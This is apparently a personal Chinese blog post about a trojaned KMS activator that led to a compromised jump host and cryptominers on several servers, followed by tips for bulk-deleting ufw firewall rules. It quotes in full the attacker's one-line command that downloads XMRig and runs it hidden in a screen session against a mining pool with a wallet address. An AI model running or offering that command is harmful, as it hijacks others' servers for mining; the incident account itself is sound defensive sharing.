因为前几天不小心中了木马,一个远程桌面跳板机被控了,继而远程桌面上能够操作的服务器都沦陷。

中毒现象

想来,应该是之前 Windows Server 2022 系统授权到期了,网上随便找了个 KMS 激活程序,最后还是用的 HEU-KMS-Activator 重置 180 天试用,没想到就被种了马。

1
DragonKMS_Defender10.rar # 网上下载的带木马程序包

有一天发现了些蛛丝马迹,细查发现远程跳板机被控制后,对方登录并下载了系统密码解密程序 Luma_Crypt_Packlab.exe,Google Adsense,Gmail,PayPal,加密平台等被试了个遍,还有个 TG 账号被登录……好在浏览器自动填充和查看密码需要验证系统 PIN 码,没有造成更大的损失。

但,因为挂着 xshell 保存着登录 session,几个服务器被种了挖矿程序:

1
apt update -y && apt install -y wget tar curl screen htop && wget https://github.com/xmrig/xmrig/releases/download/v6.17.0/xmrig-6.17.0-linux-x64.tar.gz && tar -xvf xmrig-6.17.0-linux-x64.tar.gz && mv xmrig-6.17.0/* ~ && cd ~ && screen -dmS xmrig_session ./xmrig -a rx/0 -o pool.mpool.pro:4242  -u 47u2soEWozYfJk3e1s3a3jCriugswMybD5VGbmU3LLs1HH4SUaF1V3UM6ex9VdWNcdWCq3WDLNZUqbRj6SKBjjidKDBY7zT -k --cpu-no-yield -p BOT --threads=$(nproc) --cpu-priority=5 --cpu-max-threads-hint=100 --randomx-init=$(nproc) --hugepages --randomx-1gb-pages

上面就是被种马后原版的挖矿命令(就不打码了,有缘者看能不能挖掘点啥),挖矿程序通过 screen 启动。

有没用做其他的暂时找不到,如果遇到赶紧备份数据,重做系统就对了,不用花太多精力排查有没有其他的异常

引出的问题

虽然可见的损失不大,但好几个系统也被种下了挖矿程序,挖矿程序清理过一遍也不放心,为防止不可预见的后续,索性将服务器系统都重来了一遍。

想着这回加点防火墙策略,就在宝塔面板里加了个只允许 IP 区间访问,结果宝塔面板不允许掩码写法,写了个 199.1.0.0-199.1.255.255。这一策略,就被一个 IP 一条策略添加到 ufw 规则中,而且是一条条增加,直到站长想删除的时候都还在一条条增加中。

删除 ufw 规则

本来 ufw 有一条按端口(以端口 3000 为例)规则删除的命令,但运行起来实际不行:

1
2
3
root@linux:~# ufw delete allow 3000
Could not delete non-existent rule
Could not delete non-existent rule (v6)

按 ID 删除倒可以,但效率太低了:

1
while true; do rule_number=$(ufw status numbered | awk '/(ALLOW|DENY) IN/ && $0 ~ /\<(3000)\>/{gsub(/[\[\]]/, ""); print $1; exit}'); if [ -z "$rule_number" ]; then break; else sudo yes | ufw delete $rule_number --force; fi; done

上面这坨自动删除 shell 也需要两三秒删一条,和宝塔面板上批量删除规则的效率是一样的,一个 /16 网段 65025 个规则保守估计需要 36 个小时之多,所以要高效完成还是直接编辑用户规则配置:

1
2
# 先重启宝塔面板,防止后台还在添加
sed -i '/ 3000 /d' ./user.rules

直接将配置中有关内容行删除,再 ufw 重载即可:ufw reload

参考文档

  1. UFW wont delete rule
  2. 宝塔系统防火墙文档
  3. Ubuntu 防火墙 ufw 的基本使用